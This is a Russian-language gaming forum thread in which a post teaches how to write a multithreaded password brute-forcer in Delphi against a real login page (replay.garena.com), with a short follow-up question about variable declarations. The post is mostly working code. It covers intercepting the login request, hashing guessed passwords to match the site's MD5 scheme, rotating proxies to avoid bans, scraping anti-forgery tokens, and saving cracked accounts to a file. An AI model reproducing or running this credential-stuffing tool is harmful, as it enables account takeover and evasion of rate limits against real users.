Регистрация Главная Сообщество
Сообщения за день Справка Регистрация

Ответ
 
Опции темы
Старый 19.06.2010, 06:34   #1
 Разведчик
Аватар для ReAct1[on]
 
ReAct1[on] вызывает надежду
Регистрация: 09.03.2010
Сообщений: 10
Популярность: -49
Сказал(а) спасибо: 114
Поблагодарили 4 раз(а) в 2 сообщениях
 
По умолчанию Пишем брутфорс [Delphi]

Для начала нам понадобиться Delphi 9-10 версии с установленным Indy 10, а также [Ссылки могут видеть только зарегистрированные пользователи. ] с плагином [Ссылки могут видеть только зарегистрированные пользователи. ]
Теперь надо выбрать страницу для брута - я возьму [Ссылки могут видеть только зарегистрированные пользователи. ] (сейчас не актуально,так как стоит капча)
screen
Вот наше поле для ввода. Теперь рассмотрим, что передается при нажатии на кнопку в POST запросе - для этого воспользуемся плагином, который мы установили.
(Рекомендуется закрыть все окна, дабы не засорять инфу). Инструменты - перехват данных (нажимать на "запустить перехват" не надо). Теперь залогинемся. У нас появилось множество запросов - нам нужен самый верхний с методом POST.
screen
теперь рассмотрим данные, которые нам нужны - это URL на который был отправлен запрос (2 раза тыкаем на строку с URL в запросе) и POSTDATA (отправленные данные)
screen
(можно 2 раза кликнуть по POSTDATA чтобы посмотреть в удобном виде)
я ввел Ник - ololo и пароль - qwerty. Но почему вместо "qwerty" в строке password "d8578edf8458ce06fbc5bb76a58c5ca4"?
Посмотрим на код страницы и найдем такие строки:
Код:
function GarenaAuth(user,pass) { 
	$.post("GarenaAuth.php",
	"username="+user+"&password="+hex_md5(pass),
hex_md5(pass) - значит что пароль отправляется в зашифрованом виде (мд5)
компонент можно взять тут
а расшифровать (проверить по базе) мд5 тут
теперь посмотрим на куки:
Код:
PHPSESSID=pfhf52p93mdkpreucjhqhqcqu4
Иногда можно залогиниться и без них - но на этой странице так не получиться.
Теперь мы выяснили, как именно происходит процесс входа - приступим к самому коддингу.
Нарисуем форму со всеми необходимыми компонентами.
Теперь создадим файл типа Thread Object (наш поток).
пропишем в uses следующие компоненты:
Код:
uses
Classes {$IFDEF MSWINDOWS}, Windows {$ENDIF}, idhttp, sysutils, idcookiemanager;
idhttp - инди клиент для отправки запросов
idcookiemanager - специальный компонент для хранения и получения кукисов
в private пропишем наши основные переменные
Код:
name,pass: string;
    pr:integer; //для подключения прокси (если понадобиться)
после чего, ниже добавим такую строку:
Код:
 public
    constructor Create(CreateSuspended: boolean; nick1, pass1: string; p: integer);
это процедура создания потока.

CreateSuspended - обязательный элемент создания потока (определяет запускать ли поток сразу или по команде)
nick1, pass1: string - ник и пароль, которые мы передаем в поток (обратите внимание, что названия переменных отличаются от объявленных в private)
в protected добавим такие процедуры:
Код:
 protected
    procedure Execute; override;//основная процедура потока
    procedure UpdateCaptiongood;//Вывод сбрученных акков
    procedure UpdateBad;//вывод "плохих" акков
    procedure inc1;//увеличение числа потоков
    procedure dec1;//уменьшение числа потоков
  end;
после implementation
добавим строку:
Код:
uses *основной файл программы*, umd5 //компонент для преобразования строк в мд5;
следом идет процесс создания потока (где TBthread6 имя класса)
Код:
constructor TBthread6.Create(CreateSuspended: boolean; nick1, pass1: string;
  waitf: boolean; p: integer);
begin
  inherited Create(CreateSuspended);//если false то запускаем поток сразу
  Synchronize(inc1);//сразу же увеличиваем кол-во потоков на 1
  name := nick1;//теперь передаем переменные в глобальные для этого потока
  pass := pass1;
  pr := p;
end;
Synchronize - специальная функция для синхронизации потоков (чтобы одновременно с переменной мог работать только 1 поток)
теперь в процедуре Execute
объявим в var такие переменные
Код:
 data: tstringlist;//данные запроса
  idhttp1: tidHTTP;
  idcookiemanager1:tidcookiemanager;
  page: string;//текст полученного пост запроса
  j: integer;//счетчик для цикла
после begin'а вставим это
Код:
  page:='';//обнуление страницы (на всякий случай)
    data := tstringlist.Create;//инициализация переменной
    data.Add('username=' + name);//добавляем те строки которые мы отловили через перехватчик
    data.Add('password=' + md5(pass));//пароль хешируем в мд5
    idhttp1 := tidHTTP.Create;
    idcookiemanager1:=tidcookiemanager.Create(idhttp1);//создаем наш куки мэнэджер относительно инди клиента
    idhttp1.HandleRedirects := true;//возможность перенаправления
    idhttp1.AllowCookies:=true;//разрешаем куки
    idhttp1.MaxAuthRetries:=1;
если на нашей странице нужны прокси (бан после N запросов) то нужно вставить следующее
Код:
      idhttp1.ProxyParams.ProxyServer := proxy[pr]; //где pr номер прокси в файле/стринглисте
      idhttp1.ProxyParams.ProxyPort := strtoint(port[pr]);
      idhttp1.ProxyParams.ProxyUsername := '';
      idhttp1.ProxyParams.ProxyPassword := '';
Замечание: можно ссылаться на переменные объявленные в основном файле программы (главное чтобы переменных с таким именем не было в самом потоке).
далее процесс получения кук и отправка данных
Код:
   idhttp1.Get('http://replay.garena.com/loginui.php?prepage=./');
 //гет запрос на страницу входа - для получения кук (необязательно если куки не нужны)
    page:=idhttp1.Post('http://replay.garena.com/GarenaAuth.php', data); //отсылаем пост запрос на страницу "отловленную" нами в перехватчике
//данные пришедшие нам в ответ мы кладем в переменную page
данный выше код необходимо заключить в блок try finally, чтобы не потерять данные в случае ошибки.
Код:
  if page ='ok' then
 //если в пост запросе нам пришло "ok" значит мы успешно залогинились
        Synchronize(UpdateCaptiongood) else
 //запускаем процедуру вывода сбрученного акка
        Synchronize(Updatebad); //не забываем про процедуру синхронизации
 //иначе выводим акк в поле Bad
     Synchronize(dec1);
 //уменьшаем кол-во потоков на 1
    self.Terminate; //завершение потока
Замечание: ответ на запрос в каждом случае свой - и свой алгоритм определения успешного захода. (можно сделать GET запрос на другую страницу - и проверить залогинились или нет (для этого обязательны куки!)
Далее идут процедуры вывода аккаунтов (например вывод плохих аккаунтов в поле Bad в главной форме программы (form5)) - точно также и вывод гуд акков (но + запись файл)
Код:
procedure TBthread6.UpdateBad;
begin
  form5.accs.Lines.Add(name + ':' + pass + '|BAD');
end;
Соответсвенно в процедурах dec1 и inc1 мы работаем с переменной, объявленной в главном потоке
Код:
procedure TBthread6.inc1;
begin
  inc(tpot);
end;

procedure TBthread6.dec1;
begin
  dec(tpot);
end;
Теперь немного слов об основном потоке программы и об управлении кол-вом потоков.
Вот код необходимый для разделения списка прокси на ип и порт (proxy и port переменные типа tstringlist) и в proxy мы изначально загружаем весь список.
gg, d, d1 дополнительные переменные типа string
Код:
for i := 0 to proxy.Count - 1 do
    begin
      gg := proxy[i];
      for j := 1 to length(gg) do
      begin
        if gg[j] = ':' then
        begin
          d := '';
          d1 := '';
          for k := 1 to j - 1 do
            d := d + gg[k];
          for k := j + 1 to length(gg) do
            d1 := d1 + gg[k];
          proxy[i] := d;
          port.add(d1);
          break;
        end;
      end;
    end;
процесс брутфорса я запускаю циклом while
главное не забывать о следующих вещах:
1)
Код:
application.processmessages();
эта процедура перерисовывает форму - чтобы мы могли управлять программой
2)
Код:
if tpot = p then
        while tpot = p do
        begin
          sleep(50);
          application.processmessages();
          if stop then
          begin
            break;
          end;
        end;
tpot - текущее кол-во потоков а p - во сколько потоков мы работаем
также стоит дописать после этого такой код:
Код:
if tpot > p then
        tpot := p;
в случае если потоки собьются - и неправильно увеличиться их кол-во то мы не дадим программе зависнуть.
теперь, как брутить по списку и знать что и как запустить
Код:
if (t = passes.Count - 1) then
      begin
        t := 0;
        inc(k);
        if (logpas = true) and (k <= users.Count - 1) then
          passes[passes.Count - 1] := users[k];
      end
      else
        inc(t);
      if (pro = proxy.Count - 1) then
        pro := 0
      else
        inc(pro);
тут мы переключаем указатель пассов и указатель прокси (тоесть мы бегаем по списку с прокси - это наиболее эффективный метод)
pro - текущий номер прокси
t - текущий номер пасса
k - текущий юзер
А вот так мы вызываем поток (не забудьте в uses основной формы указать имя файла с потоком)
Код:
TBthread6.Create(false, users[k], passes[t], false, pro);
Все остальное - на ваш вкус. В такой брутфорс можно встроить неограниченное кол-во страниц (просто подключаем новые потоки).

+ небольшое дополнение: Как получить токен, и что это такое?
часто для повышения защиты в пост запросах передается специальный генерируемый ключ (token) - и без правильного ключа вы не сможете выполнить запрос.
Есть 2 способа решить эту проблему:
1 - Способ тру кодеров: разобрать по кусочкам скрипты используемые на странице и написать свой генератор.
2 - "Народный": сделать гет запрос на страницу входа и забрать код страницы (s:=idhttp1.get('http://darkweb.ws') и вытащить из него наш токен (думаю проблем это не составит). - выглядит код страницы с токеном примерно так:
Код:
<tr><td class="row1">Логин :</td><td class="row2"><input type="text" name="username" class="textinput" /></td></tr>
<tr><td class="row1">Пароль :</td><td class="row2"><input type="password" name="password" class="textinput" />
		<input type="hidden" name="token" value="bd5fc745562eba992e6112b1846777dc">
(c) RazoRIII

Последний раз редактировалось Hermein; 30.10.2011 в 02:06.
  Ответить с цитированием
3 пользователя(ей) сказали cпасибо:
artur521 (01.07.2010), Bigzosa (27.06.2010), IncubusX (01.07.2010)
Старый 16.11.2012, 19:34   #2
 Разведчик
Аватар для ajonhy
 
ajonhy душа компанииajonhy душа компанииajonhy душа компанииajonhy душа компанииajonhy душа компанииajonhy душа компанииajonhy душа компанииajonhy душа компании
Регистрация: 18.04.2012
Сообщений: 3
Популярность: 971
Сказал(а) спасибо: 0
Поблагодарили 4 раз(а) в 4 сообщениях
Отправить сообщение для ajonhy с помощью Skype™
 
По умолчанию Re: Пишем брутфорс [Delphi]

Сверху так должно быть?
Var i:integer
j,d1,d,k:real;
что то забыл(
Цитата:
for i := 0 to proxy.Count - 1 do
begin
gg := proxy[i];
for j := 1 to length(gg) do
begin
if gg[j] = ':' then
begin
d := '';
d1 := '';
for k := 1 to j - 1 do
d := d + gg[k];
for k := j + 1 to length(gg) do
d1 := d1 + gg[k];
proxy[i] := d;
port.add(d1);
break;
end;
end;
end;

________________
Отблагодари за труд
или + в репу)
  Ответить с цитированием
Ответ


Ваши права в разделе
Вы не можете создавать новые темы
Вы не можете отвечать в темах
Вы не можете прикреплять вложения
Вы не можете редактировать свои сообщения

BB коды Вкл.
Смайлы Вкл.
[IMG] код Вкл.
HTML код Выкл.

Быстрый переход

Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
настройка веб брутфорс necros555 Общение и обсуждение, архив Lineage 2 6 06.04.2010 21:49
[Помогите!] Брутфорс tager01 Общение и обсуждение Perfect World 1 29.01.2010 12:29

Заявление об ответственности / Список мошенников

Часовой пояс GMT +4, время: 20:48.

Пишите нам: [email protected]
Copyright © 2024 vBulletin Solutions, Inc.
Translate: zCarot. Webdesign by DevArt (Fox)
G-gaMe! Team production | Since 2008
Hosted by GShost.net